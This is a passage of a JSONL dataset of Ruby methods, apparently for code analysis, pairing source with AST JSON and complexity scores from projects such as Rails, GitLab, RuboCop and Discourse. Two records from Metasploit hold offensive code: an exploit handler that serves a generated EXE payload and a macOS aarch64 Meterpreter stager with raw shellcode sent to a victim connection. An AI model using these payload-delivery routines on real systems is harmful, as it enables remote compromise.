tt.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"period\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort\"]}]},{\"type\":\"str\",\"children\":[\"_count <> c.count\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"send\",\"children\":[null,\"start_of\",{\"type\":\"lvar\",\"children\":[\"period\"]}]}]}]}]}]}","id":"581b5e5e-5ff0-453d-b193-d46dd008b1e2"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/mailers/application_mailer.rb","start_line":77,"raw_source":"def message_id(object, user)\n    headers[\"Message-ID\"] = \"<#{message_id_value(object, user)}>\"\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"message_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Message-ID\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message_id_value\",{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]}]}","id":"8b16e4f0-9921-4e87-8a9d-f751d322ec0f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/snippet_presenter.rb","start_line":45,"raw_source":"def can_access_resource?(ability_prefix)\n    can?(current_user, ability_name(ability_prefix), snippet)\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"can_access_resource?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ability_prefix\"]}]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"ability_name\",{\"type\":\"lvar\",\"children\":[\"ability_prefix\"]}]},{\"type\":\"send\",\"children\":[null,\"snippet\"]}]}]}","id":"b381fcdd-8e69-4e5d-8861-fc5f081bc9f0"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/date_helper_test.rb","start_line":2240,"raw_source":"def test_date_select_with_html_options_within_fields_for\n    @post = Post.new\n    @post.written_on = Date.new(2004, 6, 15)\n\n    output_buffer = fields_for :post, @post do |f|\n      concat f.date_select(:written_on, {}, { class: \"selector\" })\n    end\n\n    expected = +%{<select id=\"post_written_on_1i\" name=\"post[written_on(1i)]\" class=\"selector\">\\n}\n    expected << %{<option value=\"1999\">1999</option>\\n<option value=\"2000\">2000</option>\\n<option value=\"2001\">2001</option>\\n<option value=\"2002\">2002</option>\\n<option value=\"2003\">2003</option>\\n<option value=\"2004\" selected=\"selected\">2004</option>\\n<option value=\"2005\">2005</option>\\n<option value=\"2006\">2006</option>\\n<option value=\"2007\">2007</option>\\n<option value=\"2008\">2008</option>\\n<option value=\"2009\">2009</option>\\n}\n    expected << \"</select>\\n\"\n\n    expected << %{<select id=\"post_written_on_2i\" name=\"post[written_on(2i)]\" class=\"selector\">\\n}\n    expected << %{<option value=\"1\">January</option>\\n<option value=\"2\">February</option>\\n<option value=\"3\">March</option>\\n<option value=\"4\">April</option>\\n<option value=\"5\">May</option>\\n<option value=\"6\" selected=\"selected\">June</option>\\n<option value=\"7\">July</option>\\n<option value=\"8\">August</option>\\n<option value=\"9\">September</option>\\n<option value=\"10\">October</option>\\n<option value=\"11\">November</option>\\n<option value=\"12\">December</option>\\n}\n    expected << \"</select>\\n\"\n\n    expected << %{<select id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" class=\"selector\">\\n}\n    expected << %{<option value=\"1\">1</option>\\n<option value=\"2\">2</option>\\n<option value=\"3\">3</option>\\n<option value=\"4\">4</option>\\n<option value=\"5\">5</option>\\n<option value=\"6\">6</option>\\n<option value=\"7\">7</option>\\n<option value=\"8\">8</option>\\n<option value=\"9\">9</option>\\n<option value=\"10\">10</option>\\n<option value=\"11\">11</option>\\n<option value=\"12\">12</option>\\n<option value=\"13\">13</option>\\n<option value=\"14\">14</option>\\n<option value=\"15\" selected=\"selected\">15</option>\\n<option value=\"16\">16</option>\\n<option value=\"17\">17</option>\\n<option value=\"18\">18</option>\\n<option value=\"19\">19</option>\\n<option value=\"20\">20</option>\\n<option value=\"21\">21</option>\\n<option value=\"22\">22</option>\\n<option value=\"23\">23</option>\\n<option value=\"24\">24</option>\\n<option value=\"25\">25</option>\\n<option value=\"26\">26</option>\\n<option value=\"27\">27</option>\\n<option value=\"28\">28</option>\\n<option value=\"29\">29</option>\\n<option value=\"30\">30</option>\\n<option value=\"31\">31</option>\\n}\n\n    expected << \"</select>\\n\"\n\n    assert_dom_equal expected, output_buffer\n  end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_date_select_with_html_options_within_fields_for\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"written_on=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[15]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output_buffer\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fields_for\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"ivar\",\"children\":[\"@post\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"date_select\",{\"type\":\"sym\",\"children\":[\"written_on\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"selector\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<select id=\\\"post_written_on_1i\\\" name=\\\"post[written_on(1i)]\\\" class=\\\"selector\\\">\\n\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"1999\\\">1999</option>\\n<option value=\\\"2000\\\">2000</option>\\n<option value=\\\"2001\\\">2001</option>\\n<option value=\\\"2002\\\">2002</option>\\n<option value=\\\"2003\\\">2003</option>\\n<option value=\\\"2004\\\" selected=\\\"selected\\\">2004</option>\\n<option value=\\\"2005\\\">2005</option>\\n<option value=\\\"2006\\\">2006</option>\\n<option value=\\\"2007\\\">2007</option>\\n<option value=\\\"2008\\\">2008</option>\\n<option value=\\\"2009\\\">2009</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<select id=\\\"post_written_on_2i\\\" name=\\\"post[written_on(2i)]\\\" class=\\\"selector\\\">\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"1\\\">January</option>\\n<option value=\\\"2\\\">February</option>\\n<option value=\\\"3\\\">March</option>\\n<option value=\\\"4\\\">April</option>\\n<option value=\\\"5\\\">May</option>\\n<option value=\\\"6\\\" selected=\\\"selected\\\">June</option>\\n<option value=\\\"7\\\">July</option>\\n<option value=\\\"8\\\">August</option>\\n<option value=\\\"9\\\">September</option>\\n<option value=\\\"10\\\">October</option>\\n<option value=\\\"11\\\">November</option>\\n<option value=\\\"12\\\">December</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<select id=\\\"post_written_on_3i\\\" name=\\\"post[written_on(3i)]\\\" class=\\\"selector\\\">\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"1\\\">1</option>\\n<option value=\\\"2\\\">2</option>\\n<option value=\\\"3\\\">3</option>\\n<option value=\\\"4\\\">4</option>\\n<option value=\\\"5\\\">5</option>\\n<option value=\\\"6\\\">6</option>\\n<option value=\\\"7\\\">7</option>\\n<option value=\\\"8\\\">8</option>\\n<option value=\\\"9\\\">9</option>\\n<option value=\\\"10\\\">10</option>\\n<option value=\\\"11\\\">11</option>\\n<option value=\\\"12\\\">12</option>\\n<option value=\\\"13\\\">13</option>\\n<option value=\\\"14\\\">14</option>\\n<option value=\\\"15\\\" selected=\\\"selected\\\">15</option>\\n<option value=\\\"16\\\">16</option>\\n<option value=\\\"17\\\">17</option>\\n<option value=\\\"18\\\">18</option>\\n<option value=\\\"19\\\">19</option>\\n<option value=\\\"20\\\">20</option>\\n<option value=\\\"21\\\">21</option>\\n<option value=\\\"22\\\">22</option>\\n<option value=\\\"23\\\">23</option>\\n<option value=\\\"24\\\">24</option>\\n<option value=\\\"25\\\">25</option>\\n<option value=\\\"26\\\">26</option>\\n<option value=\\\"27\\\">27</option>\\n<option value=\\\"28\\\">28</option>\\n<option value=\\\"29\\\">29</option>\\n<option value=\\\"30\\\">30</option>\\n<option value=\\\"31\\\">31</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"output_buffer\"]}]}]}]}","id":"74073219-377c-4924-93dd-48ddc5101e66"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/signal_exception.rb","start_line":199,"raw_source":"def command_or_kernel_call?(name, node)\n          return false unless node.method?(name)\n\n          node.command?(name) || kernel_call?(node, name)\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"command_or_kernel_call?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"command?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"kernel_call?\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}","id":"acb5e6ea-7078-4fc1-b8d2-ad3e57b461f8"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/twitter_status_onebox.rb","start_line":162,"raw_source":"def quoted_screen_name\n        if twitter_api_credentials_present? && quoted_tweet_author.present?\n          quoted_tweet_author[:username]\n        end\n      end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"quoted_screen_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"twitter_api_credentials_present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quoted_tweet_author\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quoted_tweet_author\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]},null]}]}","id":"54c8a7d2-707b-47c7-a697-f6786b85c962"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb","start_line":105,"raw_source":"def process_get(cli, request)\n    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']\n    webdav = \"\\\\\\\\#{myhost}\\\\\"\n\n    if (request.uri =~ /\\.exe$/i)\n      print_status \"Sending EXE payload #{cli.peerhost}:#{cli.peerport} ...\"\n      return if ((p = regenerate_payload(cli)) == nil)\n\n      data = generate_payload_exe({ :code => p.encoded })\n      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })\n      return\n    end\n\n    print_status \"Sending 404  to #{cli.peerhost}:#{cli.peerport} ...\"\n    resp = create_response(404, \"Not Found\")\n    resp.body = \"\"\n    resp['Content-Type'] = 'text/html'\n    cli.send_response(resp)\n  end","complexity_score":36.3,"ast_json":"{\"type\":\"def\",\"children\":[\"process_get\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"myhost\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"webdav\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"myhost\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.exe$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending EXE payload \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerport\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"encoded\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending 404  to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerport\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"create_response\",{\"type\":\"int\",\"children\":[404]},{\"type\":\"str\",\"children\":[\"Not Found\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"body=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]}]}]}","id":"3ff5a5d0-471a-451d-88f1-74013d00a70a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/stages/osx/aarch64/meterpreter.rb","start_line":35,"raw_source":"def handle_intermediate_stage(conn, payload)\n    stager_file = File.join(Msf::Config.data_directory, 'meterpreter', 'aarch64_osx_stage')\n    data = File.binread(stager_file)\n    macho = Msf::Payload::MachO.new(data)\n    output_data = macho.flatten\n    entry_offset = macho.entrypoint\n    # external/source/shellcode/osx/aarch64/stage_mettle.s\n    midstager = [\n      # <_main>:\n      0xaa1f03e0, # mov\tx0, xzr\n      0x10000861, # adr\tx1, #268\n      0xf9400021, # ldr\tx1, [x1]\n      0xd2800042, # mov\tx2, #2\n      0xd2820043, # mov\tx3, #4098\n      0xaa1f03e4, # mov\tx4, xzr\n      0xaa1f03e5, # mov\tx5, xzr\n      0x58000870, # ldr\tx16, 0x100003f98 <entry_offset+0x8>\n      0xd4000001, # svc\t#0\n      0xaa0003ea, # mov\tx10, x0\n      0xaa0d03e0, # mov\tx0, x13\n      0xaa0a03e1, # mov\tx1, x10\n      0x10000702, # adr\tx2, #224\n      0xf9400042, # ldr\tx2, [x2]\n      0xd2800803, # mov\tx3, #64\n      0xaa1f03e4, # mov\tx4, xzr\n      0xaa1f03e5, # mov\tx5, xzr\n      0x58000770, # ldr\tx16, 0x100003fa0 <entry_offset+0x10>\n      0xd4000001, # svc\t#0\n      0xaa0a03e0, # mov\tx0, x10\n      0x10000601, # adr\tx1, #192\n      0xf9400021, # ldr\tx1, [x1]\n      0xd28000a2, # mov\tx2, #5\n      0x580006f0, # ldr\tx16, 0x100003fa8 <entry_offset+0x18>\n      0xd4000001, # svc\t#0\n      0xaa1f03e0, # mov\tx0, xzr\n      0x10000581, # adr\tx1, #176\n      0xf9400021, # ldr\tx1, [x1]\n      0xd2800062, # mov\tx2, #3\n      0xd2820043, # mov\tx3, #4098\n      0xaa1f03e4, # mov\tx4, xzr\n      0xaa1f03e5, # mov\tx5, xzr\n      0x58000550, # ldr\tx16, 0x100003f98 <entry_offset+0x8>\n      0xd4000001, # svc\t#0\n      0xaa0003eb, # mov\tx11, x0\n      0xaa0d03e0, # mov\tx0, x13\n      0xaa0b03e1, # mov\tx1, x11\n      0x10000422, # adr\tx2, #132\n      0xf9400042, # ldr\tx2, [x2]\n      0xd2800803, # mov\tx3, #64\n      0xaa1f03e4, # mov\tx4, xzr\n      0xaa1f03e5, # mov\tx5, xzr\n      0x58000450, # ldr\tx16, 0x100003fa0 <entry_offset+0x10>\n      0xd4000001, # svc\t#0\n      0x10000380, # adr\tx0, #112\n      0xf9400000, # ldr\tx0, [x0]\n      0x8b0a0000, # add\tx0, x0, x10\n      0x100002ea, # adr\tx10, #92\n      0xf940014a, # ldr\tx10, [x10]\n      0xaa0b03ec, # mov\tx12, x11\n      0xaa0003ef, # mov\tx15, x0\n      0xaa1f03e0, # mov\tx0, xzr\n      0xd2a00081, # mov\tx1, #262144\n      0xd2800062, # mov\tx2, #3\n      0xd2820043, # mov\tx3, #4098\n      0xaa1f03e4, # mov\tx4, xzr\n      0xaa1f03e5, # mov\tx5, xzr\n      0x58000230, # ldr\tx16, 0x100003f98 <entry_offset+0x8>\n      0xd4000001, # svc\t#0\n      0x91408000, # add\tx0, x0, #32, lsl #12    ; =131072\n      0x9100001f, # mov\tsp, x0\n      0xaa0d03e0, # mov\tx0, x13\n      0xd63f01e0, # blr\tx15\n      # <failed>:\n      0xd2800000, # mov\tx0, #0\n      0x58000210, # ldr\tx16, 0x100003fb0 <entry_offset+0x20>\n      0xd4000001, # svc\t#0\n      0xd503201f, # nop\n      0xd503201f, # nop\n      # <stager_size>:\n      output_data.length, # udf\t#16962\n      0x00000000, # udf\t#17219\n      # <payload_size>:\n      payload.length, # udf\t#17476\n      0x00000000, # udf\t#17733\n      # <entry_offset>:\n      entry_offset, # udf\t#17990\n      0x00000000, # udf\t#18247\n      0x020000c5, # <unknown>\n      0x00000000, # udf\t#0\n      0x0200001d, # <unknown>\n      0x00000000, # udf\t#0\n      0x0200004a, # <unknown>\n      0x00000000, # udf\t#0\n      0x02000001, # <unknown>\n      0x00000000, # udf\t#0\n    ].pack('V*')\n    print_status(\"Transmitting first stager...(#{midstager.length} bytes)\")\n    conn.put(midstager)\n    midstager.length\n\n    Rex.sleep(0.1)\n    print_status(\"Transmitting second stager...(#{output_data.length} bytes)\")\n    conn.put(output_data) == output_data.length\n  end","complexity_score":48.3,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_intermediate_stage\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stager_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]},{\"type\":\"str\",\"children\":[\"aarch64_osx_stage\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"binread\",{\"type\":\"lvar\",\"children\":[\"stager_file\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"macho\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Payload\"]},\"MachO\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"macho\"]},\"flatten\"]}]},{\"type\":\"lvasgn\",\"children\":[\"entry_offset\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"macho\"]},\"entrypoint\"]}]},{\"type\":\"lvasgn\",\"children\":[\"midstager\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2854159328]},{\"type\":\"int\",\"children\":[268437601]},{\"type\":\"int\",\"children\":[4181721121]},{\"type\":\"int\",\"children\":[3531604034]},{\"type\":\"int\",\"children\":[3531735107]},{\"type\":\"int\",\"children\":[2854159332]},{\"type\":\"int\",\"children\":[2854159333]},{\"type\":\"int\",\"children\":[1476397168]},{\"type\":\"int\",\"children\":[3556769793]},{\"type\":\"int\",\"children\":[2852127722]},{\"type\":\"int\",\"children\":[2852979680]},{\"type\":\"int\",\"children\":[2852783073]},{\"type\":\"int\",\"children\":[268437250]},{\"type\":\"int\",\"children\":[4181721154]},{\"type\":\"int\",\"children\":[3531606019]},{\"type\":\"int\",\"children\":[2854159332]},{\"type\":\"int\",\"children\":[2854159333]},{\"type\":\"int\",\"children\":[1476396912]},{\"type\":\"int\",\"children\":[3556769793]},{\"type\":\"int\",\"children\":[2852783072]},{\"type\":\"int\",\"children\":[268436993]},{\"type\":\"int\",\"children\":[4181721121]},{\"type\":\"int\",\"children\":[3531604130]},{\"type\":\"int\",\"children\":[1476396784]},{\"type\":\"int\",\"children\":[3556769793]},{\"type\":\"int\",\"children\":[2854159328]},{\"type\":\"int\",\"children\":[268436865]},{\"type\":\"int\",\"children\":[4181721121]},{\"type\":\"int\",\"children\":[3531604066]},{\"type\":\"int\",\"children\":[3531735107]},{\"type\":\"int\",\"children\":[2854159332]},{\"type\":\"int\",\"children\":[2854159333]},{\"type\":\"int\",\"children\":[1476396368]},{\"type\":\"int\",\"children\":[3556769793]},{\"type\":\"int\",\"children\":[2852127723]},{\"type\":\"int\",\"children\":[2852979680]},{\"type\":\"int\",\"children\":[2852848609]},{\"type\":\"int\",\"children\":[268436514]},{\"type\":\"int\",\"children\":[4181721154]},{\"type\":\"int\",\"children\":[3531606019]},{\"type\":\"int\",\"children\":[2854159332]},{\"type\":\"int\",\"children\":[2854159333]},{\"type\":\"int\",\"children\":[1476396112]},{\"type\":\"int\",\"children\":[3556769793]},{\"type\":\"int\",\"children\":[268436352]},{\"type\":\"int\",\"children\":[4181721088]},{\"type\":\"int\",\"children\":[2332688384]},{\"type\":\"int\",\"children\":[268436202]},{\"type\":\"int\",\"children\":[4181721418]},{\"type\":\"int\",\"children\":[2852848620]},{\"type\":\"int\",\"children\":[2852127727]},{\"type\":\"int\",\"children\":[2854159328]},{\"type\":\"int\",\"children\":[3533701249]},{\"type\":\"int\",\"children\":[3531604066]},{\"type\":\"int\",\"children\":[3531735107]},{\"type\":\"int\",\"children\":[2854159332]},{\"type\":\"int\",\"children\":[2854159333]},{\"type\":\"int\",\"children\":[1476395568]},{\"type\":\"int\",\"children\":[3556769793]},{\"type\":\"int\",\"children\":[2436923392]},{\"type\":\"int\",\"children\":[2432696351]},{\"type\":\"int\",\"children\":[2852979680]},{\"type\":\"int\",\"children\":[3594453472]},{\"type\":\"int\",\"children\":[3531603968]},{\"type\":\"int\",\"children\":[1476395536]},{\"type\":\"int\",\"children\":[3556769793]},{\"type\":\"int\",\"children\":[3573751839]},{\"type\":\"int\",\"children\":[3573751839]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_data\"]},\"length\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"length\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"entry_offset\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[33554629]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[33554461]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[33554506]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[33554433]},{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Transmitting first stager...(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"midstager\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"midstager\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"midstager\"]},\"length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"float\",\"children\":[0.1]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Transmitting second stager...(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_data\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" 